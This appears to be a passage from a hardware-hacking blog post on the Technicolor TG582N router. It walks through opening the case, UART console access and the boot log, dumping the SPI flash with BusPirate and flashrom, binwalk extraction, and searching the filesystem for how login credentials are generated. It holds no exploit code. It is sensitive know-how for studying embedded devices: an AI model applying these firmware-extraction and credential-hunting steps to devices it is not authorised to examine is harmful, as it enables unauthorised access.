My first device was the Technicolor TG582N distributed in Italy by Fastweb.

Nothing too much interesting externally: for this purpose, common useless informations about wireless access code, serial number, mac-address, etc.

A much more interesting view is the internal one: I was able to remove the two lower screws, under the rubbers and, with a gentle lever, the upper part can be unhooked giving access to the router motherboard.

Internal components analysis

A pretty standard design for this kind of device, we can clearly see the main CPU Broadcom BCM63281KFBG and its two memory ICs (Integrated Circuits): RAM and Flash memory. There's also another Broadcom chip but its role is to manage wireless functionalities and, for now, is out of scope.

For the volatile data, the device uses a DDR2 SDRAM module produced by Winbond with the capacity 512 Mbit (64 MByte). Obviously I'm interested in the EEPROM chip, because it's where the non-volatile data is stored and persists across reboots and shutdowns. This device has a flash memory module produced by Spansion (now Cypress) with the capacity of 64 Mbit (8 Mbyte).

Accessing to UART console

I didn't put too much effort in this because the nice guys of OpenWRT project did all the dirty job. Although the board perfectly matches to the devices described in that page, I noted a slight difference on the EEPROM chip. They mention three board type: DANT-1, DANT-T, and DANT-V. These boards have three types of EEPROM chip but none of them have this Spansion chip, only the DANT-V version has a Spansion chip but it's an FL129P, a 128 Mbit flash memory. We're definitely dealing with a slightly smaller memory chip. Anyway, UART pins are the same of other boards and we need to solder 3 pins (Tx, Rx, and GND) and short circuit R62 and R63 as noted in the above link.

After this little soldering, we can attach a common interface based on the FTD232 and have a console access. Remember to NOT attach the VCC pin because the required power will be provided by the standard supply.

With this simple setup we can finally have access to the router console and see all the boot messages:

Welcome to minicom 2.7.1                                                                                
OPTIONS: I18n                                                                                           
Compiled on May  3 2018, 15:20:11.                                                                      
Port /dev/ttyUSB0, 17:40:25                                                                             
Press CTRL-A Z for help on special keys


D%G                                                                                                     
Decompressing Bootloader..............................                                                  
Gateway initialization sequence started.                                                                
Version BL: 1.0.5
Multicore disable; Booting Linux kernel
BOOTING THE LINUX KERNEL
Starting the kernel @ 0x801dfcd0
Extra parameters passed to Linux:
        [0]: bootloader
        [1]: memsize=0x3EDD000
Linux version 2.6.30 (gcc version 3.4.6) #1 Mon Mar 26 18:25:38 CST 2012
BCM63XX prom init
CPU revision is: 0002a075 (Broadcom4350)
Determined physical RAM map:
 memory: 03edb000 @ 00002000 (usable)
Wasting 64 bytes for tracking 2 unused pages
Zone PFN ranges:
  DMA      0x00000002 -> 0x00001000
  Normal   0x00001000 -> 0x00003edd
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
    0: 0x00000002 -> 0x00003edd
On node 0 totalpages: 16091
free_area_init_node: node 0, pgdat 80238480, node_mem_map 81000040
  DMA zone: 32 pages used for memmap
  DMA zone: 0 pages reserved
  DMA zone: 4062 pages, LIFO batch:0
  Normal zone: 94 pages used for memmap
  Normal zone: 11903 pages, LIFO batch:1
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 15965
Kernel command line: root=31:0 ro noinitrd memsize=0x3EDD000 console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs
wait instruction: enabled
Primary instruction cache 32kB, VIPT, 4-way, linesize 16 bytes.
Primary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes
NR_IRQS:128
PID hash table entries: 256 (order: 8, 1024 bytes)
console [ttyS0] enabled
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Memory: 61152k/64364k available (1882k kernel code, 3192k reserved, 331k data, 108k init, 0k highmem)
Calibrating delay loop... 318.46 BogoMIPS (lpj=159232)
Mount-cache hash table entries: 512
--Kernel Config--
  SMP=0
  PREEMPT=0
  DEBUG_SPINLOCK=0
  DEBUG_MUTEXES=0
net_namespace: 584 bytes
NET: Registered protocol family 16
registering PCI controller with io_map_base unset
registering PCI controller with io_map_base unset
bio: create slab <bio-0> at 0
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
pci 0000:00:09.0: reg 10 32bit mmio: [0x10002600-0x100026ff]
pci 0000:00:0a.0: reg 10 32bit mmio: [0x10002500-0x100025ff]
pci 0000:01:00.0: PME# supported from D0 D3hot
pci 0000:01:00.0: PME# disabled
pci 0000:02:00.0: reg 10 64bit mmio: [0x000000-0x003fff]
pci 0000:02:00.0: supports D1 D2
pci 0000:01:00.0: PCI bridge, secondary bus 0000:02
pci 0000:01:00.0:   IO window: disabled
pci 0000:01:00.0:   MEM window: 0x10f00000-0x10ffffff
pci 0000:01:00.0:   PREFETCH window: disabled
PCI: Enabling device 0000:01:00.0 (0000 -> 0002)
PCI: Setting latency timer of device 0000:01:00.0 to 64
BLOG Rule v1.0 Initialized
Broadcom IQoS v0.1 Mar 26 2012 18:23:40 initialized
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 2048 (order: 2, 16384 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
TCP reno registered
NET: Registered protocol family 1
squashfs: version 4.0 (2009/01/31) Phillip Lougher
squashfs: version 4.0 with LZMA457 ported by BRCM
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
msgmni has been set to 119
io scheduler noop registered (default)
pcieport-driver 0000:01:00.0: device [14e4:6328] has invalid IRQ; check vendor BIOS
PCI: Setting latency timer of device 0000:01:00.0 to 64
Gateway flash mapping
flash mapping initialized
Creating 4 MTD partitions on "thomson-spi":
0x000000040000-0x0000000b0000 : "userfs"
0x000000020000-0x000000040000 : "mtdss"
0x000000180000-0x000000800000 : "rootfs"
0x0000000b0000-0x000000180000 : "kernel"
brcmboard: brcm_board_init entry
Serial: BCM63XX driver $Revision: 3.00 $
ttyS0 at MMIO 0xb0000100 (irq = 36) is a BCM63XX
ttyS1 at MMIO 0xb0000100 (irq = 36) is a BCM63XX
ttyS2 at MMIO 0xb0000120 (irq = 47) is a BCM63XX
TCP cubic registered
NET: Registered protocol family 17
NET: Registered protocol family 15
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.
Freeing unused kernel memory: 108k freed
init started:  BusyBox v1.00 (2012.03.26-10:27+0000) multi-call binary
init started:  BusyBox v1.00 (2012.03.26-10:27+0000) multi-call binary
Starting pid 116, console /dev/ttyS0: '/etc/init.d/rcS'
Initializing random number generator
Using /lib/modules/kserport.ko
kserport: module license 'unspecified' taints kernel.
Disabling lock debugging due to kernel taint
Using /nmon/nmon.ko
loading geniodb kernel modules...
Using /lib/modules/geniodb.ko
 geniodb driver: Loading ...
 geniodb driver: Loading finished with SUCCESS
Button char device has been created and initialized.
[BCM ADSL] BcmAdsl_SetOverlayMode = 85 new=0
tmm_skb_desc.queuesize = 300
queue: 0xc09aa744
queue: 0xc09aa744, rp: 0xc09aa744, wp: 0xc09aa744
[BCM ADSL] ------    dslFileLoadImage : OverlayMode = 0 fname=ZXD3AA
pci 0000:00:09.0: firmware: requesting ZXD3AA
pSdramPHY=0xA3FFFFF8, 0x5CF9A 0xDEADBEEF
[BCM ADSL] Firmware load : 548088 548088 LMEM=(0xB0D80000, 11380) SDRAM=(0xA3F00000, 536700)
pci 0000:00:09.0: firmware: requesting phy
*** PhySdramSize got adjusted: 0x8307C => 0x98A20 ***
AdslCoreSharedMemInit: shareMemAvailable=423360
AdslCoreHwReset:  pLocSbSta=c09a2fd0 bkupThreshold=1600
AdslCoreHwReset:  AdslOemDataAddr = 0xA3F78090
[DSL driver] !-!-!-!-!-!-! ***** AFE ID = 0x1040a200
ADSL PHY version is A2pDT002a.d23k
b6w_init
FOUND WL DEVICE 0, bus=2, device=0, func=0, vendorid=14E4, deviceid=A8DC, regaddr=10F00000, irq=31
wl:srom not detected, using main memory mapped srom info(wombo board)
veth0 (): not using net_device_ops yet
NET: Registered protocol family 3
NET: Registered protocol family 9
NET: Registered protocol family 6
NET: Registered protocol family 4
NET: Registered protocol family 5
NET: Registered protocol family 18
NET: Registered protocol family 25
Device ipsec not present.
voice will be loaded
Device endpoint not present.
Device ikanos not present.
Starting pid 338, console /dev/ttyS0: '/etc/init.d/rc'
Switching to RUNLEVEL 1 ...
Disabling hotplug helper
route: SIOC[ADD|DEL]RT: File exists
linux application start ...
wait for linux_appl to initialize (1)
wait for linux_appl to initialize (2)
************* ERROR RECORD *************
000000:00:00.000000
Application NMON started after POWERON.
****************** END *****************
wait for linux_appl to initialize (3)
appl_init: BUILD VERIFIED!
wait for linux_appl to initialize (4)
[SS EMUL] ERR: opening config file /active/ss.conf failed
End of initialisation
wait for linux_appl to initialize (5)
 start fseventd ...
 fseventd is started.
 start storagepl ...
 storagepl is started
 start vfspl ...
 vfspl is started
MVFS plugin started
cifs plug-in: initializing ...
 cifs plug-in is started
upnpavpl start ...
/usr/bin/fusermount
Loading fuse modulefuse init (API version 7.11)
.
Mounting fuse control filesystem.
linuxappl: start loading after [  4459ms ]
WARNING: Unknown Parameter Type ifmfilter
WARNING: Unknown Parameter Type ifmfilter
S67stopload: wait until configuration load reaches phase 9...
S67stopload: wait until configuration load reaches phase 9 (now -1, 1s)
adsl: adsl_open entry
ADSL Line state is: DOWN
[adsl] trace = 5 0
S67stopload: wait until configuration load reaches phase 9 (now -1, 2s)
The OBC bridge interface cannot be removed from this VLAN, because OBC is defined as untagged.
S67stopload: wait until configuration load reaches phase 9 (now 3, 3s)
S67stopload: wait until configuration load reaches phase 9 (now 3, 4s)
S67stopload: wait until configuration load reaches phase 9 (now 3, 5s)
S67stopload: wait until configuration load reaches phase 9 (now 3, 6s)
S67stopload: wait until configuration load reaches phase 9 (now 3, 7s)
DyingGasp RIP BIT is set!
[ERROR : [DIAG 1004] -1 ]
ADSL configuration:
        adslmultimode = adsl2plus
        syslog = disabled
S67stopload: wait until configuration load reaches phase 9 (now 3, 8s)
S67stopload: wait until configuration load reaches phase 9 (now 3, 9s)
The OBC bridge interface cannot be removed from this VLAN, because OBC is defined as untagged.
Option not allowed => HostNotLocalDomain
Unsupported URL. The url must include http:// or https://.
Failed to add host 9c:97:26:0c:0c:e9
S67stopload: wait until configuration load reaches phase 9 (now 6, 10s)
S67stopload: wait until configuration load reaches phase 9 (now 6, 11s)
S67stopload: wait until configuration load reaches phase 9 (now 6, 12s)
S67stopload: configuration load reached phase 9...
Intel MicroStack 1.0 - Digital Media Server (DLNA 1.5)(pid = 835),
loc_generate_uuid:25e05aa9-8206-5b77-9aad-d5547194a957
nlplugd start ...
Initializing.
Starting netlink plugin
Daemonize netlink plugin
udhcpcd start ...
monitoripd start ...
anti_spoofd start ...
anti_spoofd : process exit !
 start mud ...
Using /lib/modules/2.6.30/kernel/drivers/usb/host/ehci-hcd.ko
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
PCI: Enabling device 0000:00:0a.0 (0000 -> 0002)
PCI: Setting latency timer of device 0000:00:0a.0 to 64
ehci_hcd 0000:00:0a.0: EHCI Host Controller
ehci_hcd 0000:00:0a.0: new USB bus registered, assigned bus number 1
ehci_hcd 0000:00:0a.0: Enabling legacy PCI PM
ehci_hcd 0000:00:0a.0: irq 50, io mem 0x10002500
ehci_hcd 0000:00:0a.0: USB f.f started, EHCI 1.00
monitoripd start ...
anti_spoofd start ...
anti_spoofd : process exit !
 start mud ...
Using /lib/modules/2.6.30/kernel/drivers/usb/host/ehci-hcd.ko
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
PCI: Enabling device 0000:00:0a.0 (0000 -> 0002)
PCI: Setting latency timer of device 0000:00:0a.0 to 64
ehci_hcd 0000:00:0a.0: EHCI Host Controller
ehci_hcd 0000:00:0a.0: new USB bus registered, assigned bus number 1
ehci_hcd 0000:00:0a.0: Enabling legacy PCI PM
ehci_hcd 0000:00:0a.0: irq 50, io mem 0x10002500
ehci_hcd 0000:00:0a.0: USB f.f started, EHCI 1.00
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
Using /lib/modules/2.6.30/kernel/drivers/usb/host/ohci-hcd.ko
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
PCI: Enabling device 0000:00:09.0 (0000 -> 0002)
PCI: Setting latency timer of device 0000:00:09.0 to 64
ohci_hcd 0000:00:09.0: OHCI Host Controller
ohci_hcd 0000:00:09.0: new USB bus registered, assigned bus number 2
ohci_hcd 0000:00:09.0: irq 49, io mem 0x10002600
usb usb2: configuration #1 chosen from 1 choice
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 1 port detected
Using /lib/modules/2.6.30/kernel/drivers/usb/class/usblp.ko
usbcore: registered new interface driver usblp
Using /lib/modules/2.6.30/kernel/drivers/usb/serial/usbserial.ko
usbcore: registered new interface driver usbserial
USB Serial support registered for generic
usbcore: registered new interface driver usbserial_generic
usbserial: USB Serial Driver core
Using /lib/modules/2.6.30/kernel/drivers/scsi/scsi_mod.ko
SCSI subsystem initialized
Using /lib/modules/2.6.30/kernel/drivers/scsi/sd_mod.ko
Driver 'sd' needs updating - please use bus_type methods
Using /lib/modules/2.6.30/kernel/drivers/usb/storage/usb-storage.ko
Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
Using /lib/modules/2.6.30/kernel/fs/fat/fat.ko
Using /lib/modules/2.6.30/kernel/fs/fat/vfat.ko
Using /lib/modules/2.6.30/kernel/fs/nls/nls_cp437.ko
Using /lib/modules/2.6.30/kernel/fs/nls/nls_iso8859-1.ko
Using /lib/modules/2.6.30/kernel/fs/nls/nls_cp850.ko
Name: /etc/usbmgr/usbmgr.conf
Starting power manager...
Username :

After the boot, there's the good old login screen but without a valid username/password there's not much we can do. One way to proceed is to investigate the filesystem without any sort of access control. Filesystem can be obtained by dumping it directly from the flash memory.  

Dumping the flash

Reading the flash memory contents is not something overcomplicated but requires a bit of understanding of how integrated circuits work and how you can obtain the raw contents of the chip using the same interfaces and protocols used by the main CPU during the normal operation of the device.

For this purpose we're targeting the flash memory chip that was inspected above: a Spansion chip FL064pif with its datasheet is available on the manufacture site.

In order to read - and eventually write - its contents, we need to interface with the chip itself, using its pins and using a serial protocol, named SPI. The useful pins are Vcc, CS, SO, SI, SCK and GND and their description is available on the datasheet.

Dumping the chip can be done with BusPirate and Flashrom. In order to avoid any desoldering, we'll use a Pomona SOIC clip model 5252. In this case, power we'll be supplied by the BusPirate itself and the board must be switched off. This is because we don't want any interaction from the main CPU that will interfere with the memory chip while we're dumping its contents.

In-system programming

In this case we were lucky, because powering up the chip itself didn't wake up any other component of the board, like the main CPU. This can happens and depends on how the board is designed and how the components are connected and can vary from board to board. If there's such interference you'll end up with a corrupted dump and flashrom won't alert you in that case. This is why it's a good practice to verify the correctness of the dumping process.

We now have the entire content of the flash memory. We can read, eventually, bootloader, Linux kernel and, more interesting, the root filesystem. Basically we have the entire software stack the manufacturer has deployed on the device.

Firmware extraction

For the extraction we will use the Binwalk utility. It will read the dump and try to recognize and extract any known file format.

root@kali:~/Projects/tg582n# binwalk dump.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
45066         0xB00A          LZMA compressed data, properties: 0x5D, dictionary size: 2097152 bytes, uncompressed size: 250804 bytes
132350        0x204FE         PEM certificate
133927        0x20B27         PEM certificate
135518        0x2115E         PEM certificate
262144        0x40000         JFFS2 filesystem, big endian
262496        0x40160         Zlib compressed data, compressed
262760        0x40268         JFFS2 filesystem, big endian
267824        0x41630         Zlib compressed data, compressed
269016        0x41AD8         Zlib compressed data, compressed
269332        0x41C14         Zlib compressed data, compressed
269648        0x41D50         Zlib compressed data, compressed
269844        0x41E14         JFFS2 filesystem, big endian
269960        0x41E88         Zlib compressed data, compressed
270176        0x41F60         Zlib compressed data, compressed
270444        0x4206C         Zlib compressed data, compressed
270892        0x4222C         Zlib compressed data, compressed
271452        0x4245C         Zlib compressed data, compressed
271552        0x424C0         JFFS2 filesystem, big endian
272436        0x42834         Zlib compressed data, compressed
273012        0x42A74         Zlib compressed data, compressed
273548        0x42C8C         Zlib compressed data, compressed
273888        0x42DE0         Zlib compressed data, compressed
274424        0x42FF8         Zlib compressed data, compressed
274764        0x4314C         Zlib compressed data, compressed
275300        0x43364         Zlib compressed data, compressed
275640        0x434B8         Zlib compressed data, compressed
276136        0x436A8         Zlib compressed data, compressed
276476        0x437FC         Zlib compressed data, compressed
277052        0x43A3C         Zlib compressed data, compressed
277268        0x43B14         Zlib compressed data, compressed
277536        0x43C20         Zlib compressed data, compressed
278608        0x44050         Zlib compressed data, compressed
279672        0x44478         Zlib compressed data, compressed
280084        0x44614         JFFS2 filesystem, big endian
280200        0x44688         Zlib compressed data, compressed
280684        0x4486C         JFFS2 filesystem, big endian
280872        0x44928         Zlib compressed data, compressed
281124        0x44A24         Zlib compressed data, compressed
281240        0x44A98         Zlib compressed data, compressed
281336        0x44AF8         Zlib compressed data, compressed
281432        0x44B58         Zlib compressed data, compressed
281460        0x44B74         JFFS2 filesystem, big endian
281676        0x44C4C         Zlib compressed data, compressed
281768        0x44CA8         Zlib compressed data, compressed
281864        0x44D08         Zlib compressed data, compressed
281960        0x44D68         Zlib compressed data, compressed
282056        0x44DC8         Zlib compressed data, compressed
282176        0x44E40         Zlib compressed data, compressed
282300        0x44EBC         Zlib compressed data, compressed
282668        0x4502C         JFFS2 filesystem, big endian
282808        0x450B8         Zlib compressed data, compressed
282932        0x45134         Zlib compressed data, compressed
283152        0x45210         JFFS2 filesystem, big endian
283772        0x4547C         Zlib compressed data, compressed
284068        0x455A4         Zlib compressed data, compressed
284624        0x457D0         JFFS2 filesystem, big endian
285552        0x45B70         Zlib compressed data, compressed
286000        0x45D30         JFFS2 filesystem, big endian
286764        0x4602C         Zlib compressed data, compressed
287224        0x461F8         JFFS2 filesystem, big endian
288020        0x46514         Zlib compressed data, compressed
288456        0x466C8         JFFS2 filesystem, big endian
289736        0x46BC8         Zlib compressed data, compressed
290484        0x46EB4         JFFS2 filesystem, big endian
291892        0x47434         Zlib compressed data, compressed
292352        0x47600         JFFS2 filesystem, big endian
293416        0x47A28         Zlib compressed data, compressed
294336        0x47DC0         JFFS2 filesystem, big endian
295984        0x48430         Zlib compressed data, compressed
296564        0x48674         JFFS2 filesystem, big endian
297632        0x48AA0         Zlib compressed data, compressed
298040        0x48C38         JFFS2 filesystem, big endian
299428        0x491A4         Zlib compressed data, compressed
299856        0x49350         JFFS2 filesystem, big endian
300880        0x49750         Zlib compressed data, compressed
301620        0x49A34         JFFS2 filesystem, big endian
303128        0x4A018         Zlib compressed data, compressed
303684        0x4A244         JFFS2 filesystem, big endian
304808        0x4A6A8         Zlib compressed data, compressed
305152        0x4A800         JFFS2 filesystem, big endian
305828        0x4AAA4         Zlib compressed data, compressed
306220        0x4AC2C         JFFS2 filesystem, big endian
306940        0x4AEFC         Zlib compressed data, compressed
307904        0x4B2C0         JFFS2 filesystem, big endian
309392        0x4B890         Zlib compressed data, compressed
309908        0x4BA94         JFFS2 filesystem, big endian
313324        0x4C7EC         Zlib compressed data, compressed
313900        0x4CA2C         Zlib compressed data, compressed
314436        0x4CC44         Zlib compressed data, compressed
314776        0x4CD98         Zlib compressed data, compressed
315312        0x4CFB0         Zlib compressed data, compressed
315652        0x4D104         Zlib compressed data, compressed
316188        0x4D31C         Zlib compressed data, compressed
316528        0x4D470         Zlib compressed data, compressed
317024        0x4D660         Zlib compressed data, compressed
317364        0x4D7B4         Zlib compressed data, compressed
317940        0x4D9F4         Zlib compressed data, compressed
318236        0x4DB1C         Zlib compressed data, compressed
319308        0x4DF4C         Zlib compressed data, compressed
320616        0x4E468         Zlib compressed data, compressed
323744        0x4F0A0         JFFS2 filesystem, big endian
323884        0x4F12C         Zlib compressed data, compressed
323944        0x4F168         JFFS2 filesystem, big endian
591524        0x906A4         Zlib compressed data, compressed
592100        0x908E4         Zlib compressed data, compressed
592808        0x90BA8         Zlib compressed data, compressed
593516        0x90E6C         Zlib compressed data, compressed
594224        0x91130         Zlib compressed data, compressed
594892        0x913CC         Zlib compressed data, compressed
595468        0x9160C         Zlib compressed data, compressed
595764        0x91734         Zlib compressed data, compressed
596836        0x91B64         Zlib compressed data, compressed
598144        0x92080         Zlib compressed data, compressed
599460        0x925A4         Zlib compressed data, compressed
600036        0x927E4         Zlib compressed data, compressed
600744        0x92AA8         Zlib compressed data, compressed
601452        0x92D6C         Zlib compressed data, compressed
602160        0x93030         Zlib compressed data, compressed
602828        0x932CC         Zlib compressed data, compressed
603404        0x9350C         Zlib compressed data, compressed
603700        0x93634         Zlib compressed data, compressed
604772        0x93A64         Zlib compressed data, compressed
606080        0x93F80         Zlib compressed data, compressed
606568        0x94168         JFFS2 filesystem, big endian
607900        0x9469C         Zlib compressed data, compressed
608608        0x94960         Zlib compressed data, compressed
609316        0x94C24         Zlib compressed data, compressed
610024        0x94EE8         Zlib compressed data, compressed
610692        0x95184         Zlib compressed data, compressed
611200        0x95380         JFFS2 filesystem, big endian
611564        0x954EC         Zlib compressed data, compressed
612568        0x958D8         JFFS2 filesystem, big endian
613128        0x95B08         JFFS2 filesystem, big endian
720922        0xB001A         LZMA compressed data, properties: 0x5D, dictionary size: 2097152 bytes, uncompressed size: 2394632 bytes
1572864       0x180000        Squashfs filesystem, little endian, non-standard signature, version 4.0, compression:gzip, size: 6626892 bytes, 1298 inodes, blocksize: 131072 bytes, created: 2012-10-15 13:38:44

Honestly, this is the first time I had so much results from binwalk. The first thing I noted is the SquashFS signature. From the boot log messages, we know that the root filesystem is in that format:

Kernel command line: root=31:0 ro noinitrd memsize=0x3EDD000 console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs

So we'll start to dig in that directory first:

root@kali:~/Projects/tg582n/_dump.bin.extracted/squashfs-root# ll
total 68K
drwxrwxr-x 15 root root 4,0K ott 15  2012 .
drwxr-xr-x 34 root root  12K gen 20 12:06 ..
drwxrwxr-x  3 root root 4,0K ott 15  2012 archive
drwxrwxrwx  2 root root 4,0K mar 26  2012 bin
drwxrwxrwx  6 root root 4,0K mar 26  2012 dev
lrwxrwxrwx  1 root root    6 mar 26  2012 dl -> /rw/dl
drwxrwxr-x 10 root root 4,0K mar 26  2012 etc
drwxrwxrwx  3 root root 4,0K mar 26  2012 lib
drwxrwxrwx  2 root root 4,0K mar 26  2012 nmon
drwxrwxrwx  2 root root 4,0K mar 26  2012 proc
drwxrwxrwx  3 root root 4,0K mar 26  2012 rw
drwxrwxrwx  2 root root 4,0K mar 26  2012 sbin
drwxrwxrwx  2 root root 4,0K mar 26  2012 sys
lrwxrwxrwx  1 root root    8 mar 26  2012 tmp -> /var/tmp
drwxrwxrwx  2 root root 4,0K mar 26  2012 userfs
drwxrwxrwx  5 root root 4,0K mar 26  2012 usr
drwxrwxrwx  2 root root 4,0K mar 26  2012 var
root@kali:~/Projects/tg582n/_dump.bin.extracted/squashfs-root# 

We're interested into passwd file but looking up in the /etc directory, we find that, like most embedded device, that file is autogenerated and what we see is only a placeholder.

root@kali:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc# ll
total 100K
drwxrwxr-x 10 root root 4,0K mar 26  2012 .
drwxrwxr-x 15 root root 4,0K ott 15  2012 ..
-rw-r--r--  1 root root  513 mar 26  2012 advancedservices.conf
-r--r--r--  1 root root  377 mar 26  2012 autoconf.conf
-r--r--r--  1 root root  133 mar 26  2012 autoip.conf
drwxrwxrwx  2 root root 4,0K mar 26  2012 config
-rw-rw-rw-  1 root root  345 mar 26  2012 fileprofiler.conf
-r--r--r--  1 root root   73 mar 26  2012 fstab
-r--r--r--  1 root root   17 mar 26  2012 fuse.conf
lrwxrwxrwx  1 root root   15 mar 26  2012 group -> ../rw/etc/group
lrwxrwxrwx  1 root root   17 mar 26  2012 gshadow -> ../rw/etc/gshadow
-r--r--r--  1 root root   26 mar 26  2012 host.conf
drwxrwxr-x  2 root root 4,0K mar 26  2012 init.d
-r--r--r--  1 root root  513 mar 26  2012 inittab
-r--r--r--  1 root root  17K mar 26  2012 mime.types
lrwxrwxrwx  1 root root   14 mar 26  2012 mtab -> ../proc/mounts
-r--r--r--  1 root root  465 mar 26  2012 nsswitch.conf
lrwxrwxrwx  1 root root   16 mar 26  2012 passwd -> ../rw/etc/passwd
drwxr-xr-x  2 root root 4,0K mar 26  2012 rc0.d
drwxr-xr-x  2 root root 4,0K mar 26  2012 rc1.d
drwxr-xr-x  2 root root 4,0K mar 26  2012 rc2.d
drwxr-xr-x  2 root root 4,0K mar 26  2012 rc3.d
lrwxrwxrwx  1 root root   21 mar 26  2012 resolv.conf -> ../rw/etc/resolv.conf
lrwxrwxrwx  1 root root   16 mar 26  2012 shadow -> ../rw/etc/shadow
drwxrwxr-x  2 root root 4,0K mar 26  2012 udhcpc
drwxrwxrwx  2 root root 4,0K mar 26  2012 usbmgr
-rw-rw-rw-  1 root root    8 mar 26  2012 version
root@kali:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc#
```

passwd file is a link to another file in the /rw directory that, right now, is empty. How that file is generated during every boot? What script is in charge of managing it? We need to find the answers...

Hunting for the system users

Poking around in /etc directory can be useful because, in the end, this is a standard Linux based system and something in that directory must exist that will reveal us what are the allowed users to the system.

root@kali:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc# tree
.
├── advancedservices.conf
├── autoconf.conf
├── autoip.conf
├── config
│   ├── secrets.tdb -> /rw/etc/secrets.tdb
│   ├── smb.conf -> /rw/etc/smb.conf
│   └── smbpasswd -> /rw/etc/smbpasswd
├── fileprofiler.conf
├── fstab
├── fuse.conf
├── group -> ../rw/etc/group
├── gshadow -> ../rw/etc/gshadow
├── host.conf
├── init.d
│   ├── anti_spoofd
│   ├── autoipd
│   ├── checkd
│   ├── cifs
│   ├── clinkd
│   ├── cryptomount
│   ├── dropbear
│   ├── fseventd
│   ├── fuse
│   ├── initrandom
│   ├── jffs2contentcheck
│   ├── ledstatus
│   ├── linuxappl
│   ├── longops
│   ├── mbusd_util
│   ├── mocad
│   ├── monitoripd
│   ├── mud
│   ├── mvfs
│   ├── mvfspl
│   ├── network
│   ├── nlplugd
│   ├── no_hotplug_helper
│   ├── powermgr
│   ├── print_server
│   ├── pureftp
│   ├── rc
│   ├── rcS
│   ├── rcS.mountfs
│   ├── rcS.ro
│   ├── rssplugin
│   ├── samba
│   ├── stopload
│   ├── storagepl
│   ├── todd
│   ├── udhcpcd
│   ├── upnpavpl
│   ├── usb-host
│   ├── usb_storage
│   └── vfspl
├── inittab
├── mime.types
├── mtab -> ../proc/mounts
├── nsswitch.conf
├── passwd -> ../rw/etc/passwd
├── rc0.d
├── rc1.d
│   ├── K01mvfs -> ../init.d/mvfs
│   ├── S01jffs2contentcheck -> ../init.d/jffs2contentcheck
│   ├── S10no_hotplug_helper -> ../init.d/no_hotplug_helper
│   ├── S20network -> ../init.d/network
│   ├── S21vega -> ../init.d/vega
│   ├── S21wps -> ../init.d/wps
│   ├── S22linuxappl -> ../init.d/linuxappl
│   ├── S41fseventd -> ../init.d/fseventd
│   ├── S45storagepl -> ../init.d/storagepl
│   ├── S45vfspl -> /etc/init.d/vfspl
│   ├── S46mvfspl -> ../init.d/mvfspl
│   ├── S47checkd -> ../init.d/checkd
│   ├── S47cifs -> ../init.d/cifs
│   ├── S48todd -> ../init.d/todd
│   ├── S48upnpavpl -> ../init.d/upnpavpl
│   ├── S49rssplugin -> ../init.d/rssplugin
│   ├── S55fuse -> ../init.d/fuse
│   ├── S56mvfs -> ../init.d/mvfs
│   ├── S67stopload -> ../init.d/stopload
│   ├── S68su_intf -> ../init.d/su_intf
│   ├── S69la_intf -> ../init.d/la_intf
│   ├── S71nlplugd -> ../init.d/nlplugd
│   ├── S72udhcpcd -> ../init.d/udhcpcd
│   ├── S73monitoripd -> ../init.d/monitoripd
│   ├── S74anti_spoofd -> ../init.d/anti_spoofd
│   ├── S80dropbear -> ../init.d/dropbear
│   ├── S97mud -> ../init.d/mud
│   ├── S97usb-host -> ../init.d/usb-host
│   └── S99powermgr -> ../init.d/powermgr
├── rc2.d
├── rc3.d
│   ├── S01jffs2contentcheck -> ../init.d/jffs2contentcheck
│   ├── S10no_hotplug_helper -> ../init.d/no_hotplug_helper
│   ├── S20network -> ../init.d/network
│   ├── S21vega -> ../init.d/vega
│   ├── S22linuxappl -> ../init.d/linuxappl
│   ├── S47checkd -> ../init.d/checkd
│   ├── S67stopload -> ../init.d/stopload
│   ├── S71nlplugd -> ../init.d/nlplugd
│   ├── S72udhcpcd -> ../init.d/udhcpcd
│   ├── S73monitoripd -> ../init.d/monitoripd
│   └── S74anti_spoofd -> ../init.d/anti_spoofd
├── resolv.conf -> ../rw/etc/resolv.conf
├── shadow -> ../rw/etc/shadow
├── udhcpc
│   └── udhcpc.script
├── usbmgr
│   ├── class -> /var/usbmgr/class
│   ├── dextension
│   ├── host -> /var/usbmgr/host
│   ├── preload.conf
│   ├── storage
│   ├── umts_custom
│   ├── update_usbmgrconf
│   ├── usbledctrl
│   ├── usbmgr.conf -> /var/tmp/usbmgr.conf
│   ├── usbmgr.conf.ro
│   └── vendor -> /var/usbmgr/vendor
└── version

For what it seems, interesting files in /etc directory are symlinks to the relative ones in /rw and, for me, rw has something to do with Read and Write operations. Let's search some evidence of this path in configuration files:

root@kali:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc# grep -ir rw
init.d/clinkd:CLINKCONF_DEST=/rw/etc/
init.d/clinkd:    #CPE_P00075123:CJ:Change clink.conf to a rw location
init.d/usb_storage:		# eb 3c 90, we're definitely dealing with a FAT boot sector. Otherwise, we
init.d/usb_storage:    SMBD_STATUS=0 # 0 means that cifs service is stopped (otherwise it is running)
init.d/jffs2contentcheck:#    push down of dl partition content into /rw/dl
init.d/jffs2contentcheck:	# New layout: (USERFS mounted on /rw)
init.d/jffs2contentcheck:	#      /dl --> /rw/dl
